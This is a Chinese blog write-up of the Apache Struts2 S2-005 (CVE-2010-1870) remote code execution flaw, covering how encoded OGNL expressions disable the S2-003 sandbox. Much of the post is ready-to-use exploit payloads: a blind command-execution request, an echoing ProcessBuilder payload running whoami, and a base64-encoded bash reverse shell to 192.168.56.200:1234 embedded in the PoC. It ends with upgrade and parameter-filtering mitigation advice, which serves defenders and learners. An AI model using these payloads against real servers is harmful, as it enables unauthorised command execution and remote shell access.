漏洞名称
(CVE-2010-1870) - XWork ParameterInterceptors旁路允许远程命令执行
利用条件
Struts 2.0.0 - Struts 2.1.8.1
漏洞原理
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用
\u0023
绕过s2对#
的防御 - S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
漏洞利用
1.无回显利用
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1
创建文件EDI
2.有回显
注意:更改为post请求
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
2.1 反弹shell
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
特殊字符编码后放入poc
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash+-c+{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
修复建议
强烈建议升级到 Struts 2.2.1,其中包含更正后的 XWork 库。
可能的缓解解决方法:在 struts 中配置参数内.xml以排除恶意参数
John Wilander 建议的以下附加拦截器引用配置在正确应用时应该可以缓解问题:
<interceptor-ref name=``"params"``>`` ``<param name=``"excludeParams"``>dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>``</interceptor-ref>
参考文章
https://www.cnblogs.com/blankunbeaten/p/14826753.html
标签:27,27%,s2,3d%,005,S2,23resp,2b% From: https://www.cnblogs.com/crayonxiaoxin/p/17031348.html